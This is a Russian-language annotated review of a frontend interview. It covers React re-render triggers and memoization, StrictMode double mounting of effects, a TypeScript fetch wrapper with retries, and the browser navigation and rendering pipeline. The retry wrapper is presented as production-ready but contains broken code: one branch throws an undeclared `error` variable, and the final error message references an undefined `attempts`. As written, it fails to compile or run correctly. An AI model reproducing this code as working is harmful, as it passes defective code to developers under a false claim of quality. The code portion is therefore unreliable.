Вердикт Tech Lead: React выигрывает экосистемой, наймом, стабильностью API, Server Components (RSC) и React Compiler. Минусы управляемы дисциплиной, линтерами, правильным выбором библиотек (Query + Signals-like State) и архитектурой. Выбирать альтернативу (Vue, Svelte, Solid) имеет смысл, если: команда мала, проект — виджет/лендинг, есть сильный бэкграунд в другой технологии, или критична производительность без инвестов в оптимизацию.
Вопрос 21. При каких обстоятельствах происходит ререндер компонента в React и как на это влиять.
Таймкод: 00:42:26
Ответ собеседника: Правильный. Ререндер при: изменении state (setState), изменении props от родителя, изменении контекста (useContext). Влиять можно: React.memo (сравнение props), useMemo/useCallback (стабильность ссылок), кастомная логика в React.memo (второй аргумент).
Правильный ответ:
Кандидат назвал базовые триггеры и инструменты оптимизации. На уровне Senior/Tech Lead важно понимать механику ререндера (Reconciliation), условия Bailout (пропуска рендера), проблему контекста и современные подходы (React Compiler, Signals).
1. Триггеры ререндера (Sources of Update)
Ререндер компонента-функции — это вызов этой функции React-ом для получения нового React Element дерева.
| # | Триггер | Детали |
|---|---|---|
| 1 | setState / dispatch (useState, useReducer) | Вызов сеттера в текущем компоненте. Всегда ставит компонент в очередь обновления (даже если значение то же самое — см. Bailout). |
| 2 | Ререндер Родителя | Если родитель ре-рендерится, он вызывает дочерние функции/создает элементы. По умолчанию дети ре-рендерятся ВСЕГДА, даже если пропсы не менялись (ключевое отличие от Vue/Svelte). |
| 3 | Изменение Контекста (useContext) | Любое изменение value в Context.Provider вызывает ререндер всех потребителей (useContext), игнорируя React.memo. Нет встроенного селектора. |
| 4 | forceUpdate (редко) | this.forceUpdate() в классовых, или хак useReducer(x => x + 1) в функциональных. Антипаттерн. |
| 5 | Смена key | Если у элемента меняется key — React считает это новым компонентом: старый анмаунтится (cleanup), новый маунтится. Полный сброс состояния (state, DOM, refs). |
2. Bailout (Условия пропуска рендера) — Когда React НЕ вызывает функцию
React пытается оптимизировать. Рендер пропускается (Bailout), если:
React.memo/PureComponent: Проверка пропсов shallow equal (Object.is) вернулаtrue(пропсы те же ссылки/значения).setStateс тем же значением:setCount(5)когдаcount === 5. React сравниваетObject.is(newState, currentState). Еслиtrue— Bailout (компонент не вызывается). Важно: это работает только для примитивов и стабильных ссылок.useMemo/useCallbackвернули ту же ссылку: Если зависимость не изменилась, хук возвращает закешированную ссылку. Это позволяет дочернимmemoсработать (Bailout).- Родитель не ре-рендерился: Если родитель забейлоутился, дети даже не рассматриваются.
3. Глубина ререндера: «Всё или ничего» (Transitive Re-renders)
function App() {
const [count, setCount] = useState(0);
return (
<Parent> // Ре-рендерится (setCount)
<Child /> // Ре-рендерится (ребенок ре-рендерится)
<GrandChild /> // Ре-рендерится (внук ре-рендерится)
</Child>
</Parent>
);
}
Даже если GrandChild не использует count, он ре-рендерится, потому что Parent ре-рендерился и вызвал Child, который вызвал GrandChild.
Разрыв цепочки (Breaking the chain):
const Child = React.memo(({ children }) => {
console.log('Child render');
return <div>{children}</div>;
});
// В App:
<Parent>
<Child>
<GrandChild /> // GrandChild НЕ ре-рендерится, если Child забейлоутился!
</Child>
</Parent>
Ключ: children — это проп. Если Parent не меняет ссылку на элемент <GrandChild /> (или если GrandChild вынесен в переменную/мемо), Child видит тот же children -> Bailout -> GrandChild не вызывается.
4. Проблема Контекста (Context Trap)
const ThemeContext = createContext('light');
function App() {
const [theme, setTheme] = useState('light');
// ПРОБЛЕМА: Новый объект при каждом рендере!
return (
<ThemeContext.Provider value={{ theme, setTheme }}>
<Toolbar />
</ThemeContext.Provider>
);
}
const Button = React.memo(() => {
const { theme } = useContext(ThemeContext); // Ре-рендерится ВСЕГДА при смене theme
return <button className={theme}>Click</button>;
});
Даже React.memo на Button не поможет — useContext подписывается на контекст напрямую.
Решения (Senior Patterns):
- Разделение контекстов (Split Contexts):
const ThemeValueCtx = createContext('light');const ThemeActionsCtx = createContext({ setTheme: () => {} }); // Стабильный редюсер/функции// Потребитель theme подписывается только на ValueCtx
- Селекторы через
useContextSelector(библиотеки:use-context-selector,zustand/jotai/valtio— атомарное состояние). useMemoдляvalueпровайдера (обязательно, но не панацея, если меняется примитив внутри).const value = useMemo(() => ({ theme, setTheme }), [theme]); // Стабилизирует ссылку
5. Инструменты контроля (Deep Dive)
А. React.memo(Component, arePropsEqual?)
- Первый аргумент: Компонент.
- Второй аргумент (Custom Comparator):
(prevProps, nextProps) => boolean. Вернутьtrue— пропустить рендер (Bailout).const Row = React.memo(({ id, data, onSelect }) => {return <tr onClick={() => onSelect(id)}>{data.name}</tr>;}, (prev, next) => {// Кастомная логика: рендерим ТОЛЬКО если изменились data или onSelect (игнорируем id если он стабилен)return prev.data === next.data && prev.onSelect === next.onSelect;}); - Когда использовать: Чистые презентационные компоненты, списки, листья дерева.
- Когда НЕ использовать: Компоненты, которые почти всегда ре-рендерятся (wrapper'ы, провайдеры), или где сравнение пропсов дороже рендера.
Б. useMemo / useCallback — Стабилизация ссылок (Referential Equality)
- Суть: React сравнивает пропсы по ссылке (
Object.is).{} !== {},() => {}!==() => {}. useMemo(() => compute(a, b), [a, b])— кеш значения (объект, массив, примитив).useCallback(fn, deps)— синтаксический сахар дляuseMemo(() => fn, deps). Кеш функции.- Критично для: Пропсов-функций (
onClick,onChange), объектов/массивов в пропсах, зависимостей других хуков (useEffect,useMemoниже по дереву).
В. useRef / useState (Lazy Init) — Мутация без рендера
- Данные в
ref.currentменяются мгновенно и бесшумно (no re-render). - Паттерн: Хранить в
refто, что не нужно для рендера (таймеры, DOM-ноды, предыдущие значения, флагиisMounted, кэш вычислений).
Г. useDeferredValue / useTransition (Concurrent Features)
- Не предотвращают рендер, а приоритизируют.
useTransition: Помечает обновление как «не срочное» (low priority). UI остается отзывчивым (ввод текста), тяжелый список рендерится в фоне.useDeferredValue: Откладывает обновление части дерева (например, фильтрация списка) до простоя браузера.
6. Архитектурные паттерны предотвращения ререндеров (Best Practices 2024+)
| Паттерн | Суть | Пример |
|---|---|---|
| State Colocation (Колокация состояния) | Держать стейт максимально низко там, где он используется. Не поднимать в App то, что нужно только в Modal. | const [isOpen, setIsOpen] = useState(false) внутри Modal, а не в родителе. |
| Component Splitting / Atomic Components | Выносить часто обновляемые части в отдельные memo компоненты. | <Input /> вместо <Form><Input /></Form> — ввод не ре-рендерит весь Form. |
| Passing Children as Prop (Children Pattern) | Родитель не ре-рендерит статичный контент, переданный через children. | <Sidebar><ExpensiveStaticChart /></Sidebar> — Sidebar ре-рендерится, Chart нет. |
| Atomic State Libraries (Zustand, Jotai, Valtio, Recoil, Signals) | Состояние вне React-дерева. Подписка на изменение конкретного атома -> ре-рендерит только компоненты, использующие этот атом. | const useStore = create(() => ({ count: 0 })); -> const count = useStore(s => s.count); — меняется только count, ре-рендерится только этот компонент. |
| Server Components (RSC) | Код выполняется только на сервере. Zero JS bundle для логики. Интерактивность только там, где use client. | async function Page() { const data = await db(); return <ClientComp initialData={data} /> } |
7. React Compiler (React Forget) — Будущее (уже в Canary/19)
- Автоматическая мемоизация на этапе сборки (Babel/SWC plugin).
- Анализирует код функции компонента, определяет зависимости, автоматически оборачивает:
- Возвращаемый JSX ->
memoлогику. - Пропсы-функции ->
useCallback. - Объекты/массивы в пропсах ->
useMemo. - Хуки -> правильные зависимости.
- Возвращаемый JSX ->
- Результат: Разработчик пишет «грязный» код без
memo/useCallback/useMemo, компилятор делает его оптимальным. - Статус: React 19 RC / Canary. Meta использует в продакшене (Instagram, Facebook). Ожидается стабильный релиз как стандарт.
8. Чек-лист диагностики «Почему ре-рендерится?» (Debugging)
- React DevTools Profiler → Включить "Record why each component rendered".
- Смотрим фламу: жёлтый значок = причина (Props changed, State changed, Context changed, Hooks changed).
- Props changed → Смотрим, какой проп сменил ссылку. Обычно: функция не в
useCallback, объект не вuseMemo, новый массив из.map(). - Context changed → Разбиваем контекст или мигрируем на Zustand/Jotai.
- Parent re-rendered → Поднимаемся вверх по дереву, ищем источник.
9. Резюме: Ментальная модель Senior-разработчика
- Рендер — это не страшно. React быстр (VDOM diffing). Проблема — каскадные ре-рендеры тяжелых поддеревьев.
- По умолчанию: Родитель ре-рендерился -> Дети ре-рендерятся.
- Стратегия защиты:
- Уровень 1 (Архитектура): State Colocation, RSC, Atomic State (Zustand/Jotai) — убирают проблему корневиком.
- Уровень 2 (Композиция):
childrenpattern, вынос статичного контента. - Уровень 3 (Мемоизация):
React.memoна листьях +useMemo/useCallbackдля стабильности пропсов. - Уровень 4 (Concurrent):
useTransition/useDeferredValueдля тяжелых вычислений, которые нельзя убрать. - Уровень 5 (Автоматика): React Compiler — включаем, когда стабилен, и забываем про Уровень 3 в 90% кода.
Вопрос 22. Почему в useEffect в режиме разработки может отправляться два запроса при загрузке страницы.
Таймкод: 00:48:14
Ответ собеседника: Неполный. Связал с 'не в продакшене' и 'дебаг-модом', но не указал конкретно на <StrictMode>. Правильно: в StrictMode React намеренно монтирует-размонтирует-монтирует компонент для поиска сайд-эффектов. Это поведение только в dev.
Правильный ответ:
Причина — <React.StrictMode> (строгий режим), который включен по умолчанию в createRoot (React 18+) и в большинстве стартеров (CRA, Vite, Next.js).
1. Как это работает (Mount → Unmount → Mount)
В development режиме React намеренно выполняет двойной цикл монтирования для компонентов с useEffect, useLayoutEffect, useState (инициализация), useMemo/useCallback (инициализация):
1. Mount (Монтирование) -> useEffect cleanup (нет) -> useEffect callback (Запрос #1)
2. Unmount (Размонтирование) -> useEffect cleanup (Запускается! Отмена/очистка)
3. Mount (Монтирование снова) -> useEffect callback (Запрос #2)
В Production этого НЕТ: только один Mount -> Effect.
2. Зачем это нужно (Цель StrictMode)
Помочь обнаружить баги с очисткой ресурсов (Cleanup):
- Забытые
clearInterval/clearTimeout. - Неотписанные Event Listeners (
removeEventListener). - Неотмененные подписки (WebSocket, WebRTC, RxJS, TanStack Query).
- Утечки памяти через замыкания (stale closures).
- Множественные запросы без дедупликации/отмены (AbortController).
Если после размонтирования эффект не прибрался за собой — второй монтировании это проявится (утечка, ошибка, двойной запрос).
3. Как правильно писать useEffect (Cleanup Pattern)
Каждый эффект, создающий внешний ресурс, обязан возвращать функцию очистки.
useEffect(() => {
// 1. Создаем контроллер отмены (стандартный способ для fetch)
const controller = new AbortController();
const { signal } = controller;
// 2. Запускаем асинхронную операцию
fetch('/api/data', { signal })
.then(res => res.json())
.then(data => {
// Проверка актуальности (optional, AbortController делает основную работу)
if (!signal.aborted) setData(data);
})
.catch(err => {
if (err.name !== 'AbortError') setError(err); // Игнорируем ошибку отмены
});
// 3. CLEANUP ФУНКЦИЯ (Критично!)
return () => {
controller.abort(); // Отменяет запрос при размонтировании или перезапуске эффекта
};
}, []); // Пустой депс = запуск один раз на монтировании
Поведение в StrictMode с этим кодом:
- Mount ->
fetchстартует (Req #1). - Unmount ->
cleanup->controller.abort()-> Req #1 отменяется (браузер отменяет сетевой запрос, если сервер поддерживает, или просто игнорирует ответ). - Mount ->
fetchстартует заново (Req #2). Результат в UI: Один успешный запрос (второй). В Network пе можно увидеть первый какcanceled(красный).
4. Другие частые кейсы и решения
| Сайд-эффект | Проблема без Cleanup | Правильный Cleanup |
|---|---|---|
setInterval / setTimeout | Таймер продолжает тикать в фоне, обновляет размонтированный компонент -> Warning/Leak. | return () => clearInterval(id); |
addEventListener | Слушатель висит на window/document, память не освобождается, возможны ошибки. | return () => removeEventListener(...); |
| WebSocket / SSE | Соединение висит открытым, сервер шлет данные в никуда. | return () => socket.close(); |
| Подписки на Store (Zustand/Redux/RxJS) | Колбэк вызывается после анмаунта -> setState на unmounted. | return unsubscribe; / subscription.unsubscribe(); |
| DOM мутации / ResizeObserver | Накопление наблюдателей. | return () => observer.disconnect(); |
5. Как отключить (Не рекомендуется для разработки)
Можно убрать <StrictMode> в index.tsx / main.tsx:
// Было:
<React.StrictMode>
<App />
</React.StrictMode>
// Стало:
<App />
Почему не стоит: Вы потеряете защиту от классов багов, которые проявятся в проде под нагрузкой или при навигации ( SPA transitions -> unmount/mount). Лучше научиться писать cleanup.
6. Нюанс: React 18+ и useEffect vs use / Suspense
В современных приложениях (Next.js App Router, React Router 7, TanStack Query) ручной fetch в useEffect считается антипаттерном для загрузки данных.
- Server Components (RSC): Данные загружаются на сервере (
async/await), никакихuseEffect. - Client Components + TanStack Query / SWR / React Query: Библиотеки сами управляют дедупликацией, кэшированием, отменой (
AbortController), рефетчингом. Они уже устойчивы к StrictMode. usehook (React 19):const data = use(promise)— работает с Suspense, не требуетuseEffect.
Вывод: Если вы пишете fetch в useEffect в 2024+ — вы, скорее всего, делаете что-то не так (кроме обучения или очень специфических кейсов). Используйте TanStack Query или RSC.
7. Резюме для собеседования
> «В dev-режиме React 18+ в <StrictMode> намеренно делает Mount → Unmount → Mount, чтобы заставить эффекты выполнить свою cleanup-функцию. Это выявляет утечки памяти, забытые таймеры, незакрытые сокеты и запросы без AbortController.
>
> Правильный код в useEffect всегда возвращает функцию очистки. Для fetch — это controller.abort(). В проде это происходит один раз. Библиотеки вроде TanStack Query делают это за вас автоматически.»
Вопрос 23. Напиши функцию-обёртку для fetch с повторными попытками (retry) при ошибке.
Таймкод: 00:53:23
Ответ собеседника: Правильный. Предложил рекурсивное решение с параметром attempts. В catch уменьшает счётчик и вызывает себя снова. Базовый случай: если attempts <= 1 — бросает ошибку. Добавил return перед рекурсивным вызовом. Обработал возврат успешного результата. Учёл, что fetch не режектит на HTTP 4xx/5xx (нужен check response.ok).
Правильный ответ:
Кандидат правильно описал алгоритм. Ниже — production-ready реализация на TypeScript с учетом всех нюансов: экспоненциальная задержка (backoff), классификация ошибок (ретраить ли?), поддержка AbortSignal, типизация и обработка response.ok.
1. Полная реализация (TypeScript)
// Типы для конфигурации
interface RetryOptions {
/** Максимальное количество попыток (включая первый запрос) */
retries?: number;
/** Базовая задержка в мс (для экспоненциального backoff) */
baseDelayMs?: number;
/** Максимальная задержка (cap) */
maxDelayMs?: number;
/** Функция-предикат: стоит ли ретраить эту ошибку/ответ */
isRetryable?: (error: unknown, response?: Response) => boolean;
/** Callback при ретрае (логирование, метрики) */
onRetry?: (attempt: number, error: unknown, delayMs: number) => void;
/** AbortSignal для внешней отмены (приоритет над внутренними ретраями) */
signal?: AbortSignal;
}
// Ошибка, которую бросаем, если все попытки исчерпаны
export class FetchRetryError extends Error {
public readonly attempts: number;
public readonly lastError: unknown;
public readonly lastResponse?: Response;
constructor(message: string, attempts: number, lastError: unknown, lastResponse?: Response) {
super(message);
this.name = 'FetchRetryError';
this.attempts = attempts;
this.lastError = lastError;
this.lastResponse = lastResponse;
// Прототип для instanceof
Object.setPrototypeOf(this, FetchRetryError.prototype);
}
}
/**
* Обертка над fetch с автоматическими повторами (retry) и экспоненциальным backoff.
*/
export async function fetchWithRetry(
input: RequestInfo | URL,
init: RequestInit = {},
options: RetryOptions = {}
): Promise<Response> {
const {
retries = 3,
baseDelayMs = 300,
maxDelayMs = 5000,
isRetryable = defaultIsRetryable,
onRetry,
signal: externalSignal,
} = options;
// Создаем внутренний AbortController, который мы можем управлять
// и линкуем его с внешним signal (если передан)
const controller = new AbortController();
const abortHandler = () => controller.abort();
if (externalSignal) {
if (externalSignal.aborted) controller.abort();
else externalSignal.addEventListener('abort', abortHandler, { once: true });
}
// Функция задержки с экспоненциальным backoff и jitter (дробь)
const sleep = (ms: number) =>
new Promise((resolve, reject) => {
const id = setTimeout(resolve, ms);
// Если сигнал аборта пришел во время сна - просыпаемся сразу с ошибкой
const abortListener = () => {
clearTimeout(id);
reject(controller.signal.reason || new DOMException('Aborted', 'AbortError'));
};
controller.signal.addEventListener('abort', abortListener, { once: true });
});
let attempt = 0;
let lastError: unknown;
let lastResponse: Response | undefined;
while (true) {
attempt++;
try {
// Важно: передаем наш контроллер в fetch
const response = await fetch(input, {
...init,
signal: controller.signal,
});
lastResponse = response;
// fetch не бросает на 4xx/5xx, проверяем вручную
if (!response.ok) {
// Если это последняя попытка или ошибка не ретраится -> бросаем
if (attempt >= retries || !isRetryable(null, response)) {
// Создаем ошибку с контекстом ответа
const error = new Error(`HTTP ${response.status} ${response.statusText}`) as Error & { response: Response };
error.response = response;
throw error;
}
// Иначе падаем в catch блок для ретрая (имитируем ошибку)
throw error; // Перехватится ниже
}
// Успех (2xx) - чистим слушатель и возвращаем
if (externalSignal) externalSignal.removeEventListener('abort', abortHandler);
return response;
} catch (error: unknown) {
lastError = error;
// Если это наша ошибка отмены (AbortError) - не ретраим, пробрасываем сразу
if (error instanceof DOMException && error.name === 'AbortError') {
if (externalSignal) externalSignal.removeEventListener('abort', abortHandler);
throw error;
}
// Если попытки исчерпаны - оборачиваем в FetchRetryError и бросаем
if (attempt >= retries) {
if (externalSignal) externalSignal.removeEventListener('abort', abortHandler);
throw new FetchRetryError(
`Fetch failed after ${attempts} attempts`,
attempt,
lastError,
lastResponse
);
}
// Проверяем, стоит ли ретраить эту конкретную ошибку
if (!isRetryable(error, lastResponse)) {
if (externalSignal) externalSignal.removeEventListener('abort', abortHandler);
throw error; // Не ретраируемая ошибка (например, 400, 401, 404)
}
// Вычисляем задержку: экспоненциальный backoff + jitter (случайность 0-25%)
const delay = Math.min(
baseDelayMs * 2 ** (attempt - 1) + Math.random() * baseDelayMs * 0.25,
maxDelayMs
);
// Уведомляем о ретрае
onRetry?.(attempt, error, delay);
// Ждем
try {
await sleep(delay);
} catch (sleepError) {
// Если проснулись из-за abort - пробрасываем
if (externalSignal) externalSignal.removeEventListener('abort', abortHandler);
throw sleepError;
}
// Цикл продолжается (while true)
}
}
}
/**
* Логика ретрая по умолчанию:
* - Сетью ошибки (TypeError, network down) -> Ретраим.
* - 5xx (Server Errors) -> Ретраим.
* - 429 (Too Many Requests) -> Ретраим (лучше читать Retry-After заголовок).
* - 4xx (Client Errors, кроме 429) -> НЕ ретраим (баг клиента).
*/
function defaultIsRetryable(error: unknown, response?: Response): boolean {
// 1. Ошибки сети / отмены / таймауты (обычно TypeError: Failed to fetch)
if (error instanceof TypeError) return true; // Network error
if (error instanceof DOMException && error.name === 'AbortError') return false; // Не ретраим отмену
// 2. Ошибки HTTP статусов
if (response) {
const status = response.status;
// 5xx - сервер упал, можно попробовать позже
if (status >= 500 && status < 600) return true;
// 429 - rate limit, сервер просит подождать
if (status === 429) return true;
// 408 - Request Timeout (редко используется)
if (status === 408) return true;
// Остальные 4xx (400, 401, 403, 404) - ошибка клиента, ретрай не поможет
return false;
}
// 3. Неизвестная ошибка - лучше не ретраить, чтобы не зациклиться
return false;
}
2. Примеры использования
// 1. Базовое использование
try {
const response = await fetchWithRetry('/api/users', {}, { retries: 3 });
const data = await response.json();
} catch (e) {
if (e instanceof FetchRetryError) {
console.error(`Все попытки исчерпаны (${e.attempts}). Последняя ошибка:`, e.lastError);
// Можно достать последний response: e.lastResponse?.status
}
throw e;
}
// 2. С кастомной логикой ретрая (например, ретраить 404 для long-polling)
await fetchWithRetry('/api/job/123', {}, {
retries: 10,
baseDelayMs: 1000,
isRetryable: (err, res) => res?.status === 404 || defaultIsRetryable(err, res),
onRetry: (attempt, err, delay) => console.log(`Attempt ${attempt} failed, retrying in ${delay}ms...`),
});
// 3. Интеграция с AbortController (отмена по кнопке пользователя)
const controller = new AbortController();
const btn = document.getElementById('cancel');
btn?.addEventListener('click', () => controller.abort());
try {
await fetchWithRetry('/api/large-download', {}, { signal: controller.signal });
} catch (e) {
if (e instanceof DOMException && e.name === 'AbortError') {
console.log('Download cancelled by user');
}
}
// 4. Работа с Retry-After заголовком (продвинутый уровень)
async function fetchWithRetryAdvanced(input: RequestInfo, init: RequestInit = {}) {
return fetchWithRetry(input, init, {
retries: 5,
isRetryable: (err, res) => {
if (!res) return defaultIsRetryable(err);
if (res.status === 429) return true; // Ретраим 429
return defaultIsRetryable(err, res);
},
// Можно переопределить расчет задержки через замыкание или расширить опции
});
}
3. Ключевые детали реализации (Senior Level)
| Аспект | Реализация | Почему это важно |
|---|---|---|
response.ok проверка | if (!response.ok) throw ... | fetch ресолвится (не режектит) на 404/500. Без этого ретрай не сработает на ошибках сервера. |
| AbortController linking | Внутренний controller + externalSignal.addEventListener('abort', ...) | Позволяет отменить и текущий запрос, и все будущие ретраи одним внешним сигналом. Без этого внешний abort убьет только текущий fetch, а цикл while запустит новый. |
| Exponential Backoff + Jitter | base * 2^attempt + random() | Предотвращает Thundering Herd (стадный эффект): если 1000 клиентов упали одновременно, они не бьдут сервер одновременно через 300мс, а размазываются во времени. |
Классификация ошибок (isRetryable) | TypeError (сеть), 5xx, 429 -> true; 4xx (кроме 429) -> false | Нельзя ретраить 400 (Bad Request), 401 (Unauth), 403 (Forbidden), 404 (Not Found) — это баги клиента или прав доступа, ретрай не поможет, только ухудшит UX и нагрузку. |
FetchRetryError wrapper | Сохраняет attempts, lastError, lastResponse | Позволяет верхнему уровню принять решение: показать тост, редирект на логин (если 401 в последнем), залогировать в Sentry с контекстом. |
| Очистка слушателей | removeEventListener('abort', ...) в finally-подобных блоках (успех/ошибка/аборт) | Предотвращает утечки памяти и множественные срабатывания abort при повторных вызовах функции. |
while(true) вместо рекурсии | Итеративный подход | Избегает переполнения стека (RangeError: Maximum call stack size exceeded) при больших retries (хотя 10-20 безопасно, итеративный стиль надежнее и читаемее для async). |
4. Альтернатива: Библиотеки (Не изобретать велосипед в проде)
В реальных проектах лучше использовать проверенные решения:
ky— легкая обертка над fetch с встроеннымretry,hooks,prefixUrl,timeout.import ky from 'ky';await ky.get('/api/users', { retry: { limit: 3, methods: ['get'] } }).json();axios-retry/axios— если проект на Axios.@tanstack/query(React Query) — имеет встроенныйretry: 3(функция или число) на уровне запроса, работает с кэшем и дедупликацией.
Когда писать самому:
- Нет возможности добавить зависимость (микросервис, edge function, бандл < 10KB).
- Нужна очень специфическая логика ретрая (например, зависимость от кастомных заголовков ответа, сложные state machine).
5. Чек-лист для Code Review этого кода
- Обработан
response.ok(4xx/5xx не режектят промис). - Есть
AbortSignalподдержка (внешняя отмена работает корректно). - Реализован Backoff + Jitter (не фиксированная задержка).
- Есть фильтр ретрая (
isRetryable): не ретраим 400, 401, 403, 404. - Ошибка результата содержит контекст (
attempts,lastResponse,lastError). - Нет утечек слушателей событий (
removeEventListener). - Типизация строгая (Generics для возвращаемого типа
ResponseилиTчерез.json()).
Вопрос 24. Что происходит в браузере после ввода URL и нажатия Enter (Critical Rendering Path)
Таймкод: 01:01:44
Ответ собеседника: Неполный. 1. DNS lookup (домен -> IP). 2. TCP handshake (3-way). 3. TLS handshake (если HTTPS). 4. HTTP запрос. 5. Сервер отдаёт HTML. 6. Браузер парсит HTML -> DOM, CSS -> CSSOM. 7. Дерево рендеринга -> Layout -> Paint -> Composite. Упомянул подтверждение TCP пакетов. Не сказал про предзагрузку ресурсов, приоритеты, блокирующие скрипты/стили.
Правильный ответ:
Процесс навигации и рендеринга — это сложный конвейер (pipeline), который можно разделить на сетевую фазу и фазу рендеринга (Critical Rendering Path — CRP). Ниже детальный разбор с акцентом на оптимизацию и нюансы, критичные для Senior-уровня.
1. Сетевая фаза (Navigation & Network)
А. DNS Resolution (Резолвинг)
- Кэширование: Браузер проверяет: DNS-кэш ОС → кэш браузера → HSTS-кэш (для HTTPS) → DNS-prefetch/preconnect hints (
<link rel="dns-prefetch" href="//api.example.com">). - Итеративный запрос: Если нет в кэше — рекурсивный запрос к резолверам (ISP → Root → TLD → Authoritative).
- Оптимизация:
dns-prefetchзапускает резолвинг заранее,preconnectустанавливает TCP+TLS заранее.
Б. TCP Handshake (3-way: SYN, SYN-ACK, ACK)
- Latency: 1 RTT (Round Trip Time).
- TCP Fast Open (TFO): Позволяет передать данные в первом SYN-пакете (экономит 1 RTT при повторных посещениях), требует поддержки сервером и ОС.
- Keep-Alive / Connection Reuse: HTTP/1.1 keep-alive, HTTP/2/3 мультиплексирование используют одно соединение для множества ресурсов. Важно: лимит соединений на хост (6 для HTTP/1.1, 1 для HTTP/2).
В. TLS Handshake (HTTPS)
- 1.2: 2 RTT (ClientHello, ServerHello+Cert+KeyExch, ClientKeyExch, Finished).
- 1.3: 1 RTT (объединены полеты, 0-RTT mode для повторных сессий — риск replay-атак, используется только для идемпотентных GET).
- OCSP Stapling: Сервер прикрепляет подпись валидности сертификата, браузер не ходит к CA отдельно.
- Session Resumption: Session ID / Session Tickets / PSK (Pre-Shared Keys) в TLS 1.3 — пропускают проверку сертификата и генерацию ключей.
Г. HTTP Request / Response
- HTTP/1.1: Head-of-Line Blocking (HOLB), параллелизм через домен-шардинг (устарело).
- HTTP/2 (h2): Бинарный протокол, мультиплексирование в одном TCP-соединении, приоритизация стримов (weight/dependency), HPACK-сжатие заголовков, Server Push (депрекейтед в пользу 103 Early Hints / Preload).
- HTTP/3 (h3 / QUIC): UDP-based. Устраняет TCP HOLB (потери пакетов в одном стриме не блокируют другие). 0-RTT по умолчанию. Connection ID выживает при смене IP (мобильная сеть → WiFi).
- 103 Early Hints: Сервер шлет
Link: </style.css>; rel=preloadдо готовности основного HTML, браузер начинает качать критические ресурсы параллельно с генерацией бэкендом.
2. Фаза загрузки и парсинга (Loading & Parsing)
А. Preload Scanner (Сканер предзагрузки) — Ключевой момент, упущен кандидатом
- Параллельный парсер: Пока основной парсер блокируется на
<script src="...">(безasync/defer) или тяжелом CSS, Preload Scanner (второстепенный легковесный парсер) бежит вперед по сырому HTML. - Что ищет:
<link rel="preload">,<img src>,<script src>,<link rel="stylesheet">,<video poster>,srcset,@importв CSS (ограниченно). - Результат: Ставит ресурсы в очередь загрузки (Network Stack) с приоритетами до того, как основной парсер до них дойдет. Это главная оптимизация браузеров последних 10 лет.
Б. Приоритизация ресурсов (Resource Prioritization) Браузер назначает приоритет (High / Medium / Low / Highest) на основе типа и контекста:
| Ресурс / Контекст | Приоритет | Примечание |
|---|---|---|
| Main Document (HTML) | Highest | Блокирует всё. |
| CSS (Blocking) | Highest | Блокирует рендеринг и выполнение JS. |
CSS (Non-blocking, media="print") | Low | Не блокирует CRP. |
JS (Blocking, в <head>) | High | Блокирует парсер. |
JS (defer) | High | Загружается параллельно, выполняется перед DOMContentLoaded. |
JS (async) | Low | Не блокирует парсер, выполняется сразу загрузки (race condition). |
JS (type=module) | Low | По умолчанию defer. |
Images (в viewport / fetchpriority="high") | High | LCP-кандидаты. |
| Images (below fold) | Low | Lazy-loading (loading="lazy") по умолчанию Low. |
| Fonts | High | Если preload или обнаружены в CSS. Иначе Medium/Low. |
**Preload (as="style/script/font") | High/Highest | Явный сигнал браузеру. |
В. Блокирующие скрипты и стили (Render Blocking) — Упущен кандидатом
- CSSOM блокирует JS: Браузер не выполняет
<script>(inline или external), пока не построен CSSOM на момент этого скрипта. JS может запрашиватьgetComputedStyle,offsetWidth— нужны готовые стили. - JS блокирует HTML Parser:
<script src>(безasync/defer) останавливает DOM-парсинг. Парсер ждет загрузку, парсинг и выполнение JS. defer: Скрипт качается параллельно, выполняется после полного парсинга HTML (передDOMContentLoaded), в порядке появления.async: Качается параллельно, выполняется сразу после загрузки, не дожидаясь парсинга HTML. Порядок не гарантирован. Не блокируетDOMContentLoaded.type=module: Неявныйdefer. Зависимости графа модулей загружаются параллельно.
3. Critical Rendering Path (CRP) — Построение пикселей
А. DOM (Document Object Model)
- Инкрементальный парсинг: байты → токены → ноды → дерево.
document.writeразрушает инкрементальность и Preload Scanner — запрещен в современной разработке.
Б. CSSOM (CSS Object Model)
- Не инкрементален (в отличие от DOM): браузер должен скачать и распарсить весь CSS-файл, прежде чем использовать его (каскадность, специфичность,
@media). - Блокирует рендеринг: Render Tree не строится без CSSOM.
- Оптимизация: Critical CSS (инлайн критических стилей в
<head>),media="print" onload="this.media='all'"для некритического CSS, избегание@import(последовательная загрузка).
В. Render Tree (Дерево рендеринга)
- Объединение DOM + CSSOM.
- Включает только видимые ноды (
display: none— исключены,visibility: hidden— включены, занимают место). - Псевдоэлементы (
::before,::after) добавляются сюда, их нет в DOM.
Г. Layout (Reflow / Relayout) — Геометрия
- Рекурсивный обход Render Tree: расчет x, y, width, height.
- Viewport — корневая система координат.
- Триггеры: изменение геометрии (
width,height,margin,padding,font-size,position: absolute), чтениеoffsetTop,getBoundingClientRect()(Force Synchronous Layout / Layout Thrashing). - Оптимизация: батчинг чтения/записи (читать все → писать все),
transform/opacityне триггерят Layout.
Д. Paint (Rasterization) — Рисование пикселей
- Генерация Display List (список команд рисования:
drawRect,drawText,drawImage). - Разбивка на слои (Layers) и тайлы (Tiles).
- Триггеры:
color,background,border-radius,box-shadow,text-decoration. - Растеризация: CPU (Software) или GPU (Skia/GPU Rasterization). Текстуры загружаются в VRAM.
Е. Composite (Композиция) — Финальный кадр
- Сборка слоев в итоговую текстуру экрана (Compositor Thread, отдельный от Main Thread).
- GPU Acceleration:
transform: translateZ(0)/will-change: transformсоздают собственный композиторский слой (Compositor Layer). - Плюсы: Анимация
transform/opacityна слое идет на 60/120fps даже если Main Thread занят (JS выполняется долго). - Минусы: Память (VRAM), затраты на управление слоями (Layer Explosion — создание сотен слоев убивает производительность).
4. Ключевые метрики и события жизненного цикла
| Событие / Метрика | Описание | Что блокирует |
|---|---|---|
| TTFB (Time To First Byte) | Время до первого байта HTML. | Сервер, сеть, TLS. |
| FP (First Paint) | Любая отрисовка (фон, текст). | CSSOM, шрифты. |
| FCP (First Contentful Paint) | Первый контент (текст, изображение, SVG, Canvas). | CSSOM, критические ресурсы. |
| LCP (Largest Contentful Paint) | Самый большой элемент во вьюпорте. | Приоритет загрузки LCP-ресурса, сервер. |
| DOMContentLoaded | HTML распарсен, defer-скрипты выполнены. | Блокирующие JS, CSSOM. |
| Load (onload) | Все ресурсы (картинки, стили, скрипты) загружены. | Всё. |
| TTI (Time To Interactive) / TBT | Страница интерактивна (Main Thread свободен > 50мс). | Long Tasks (JS > 50мс), гидратация фреймворков. |
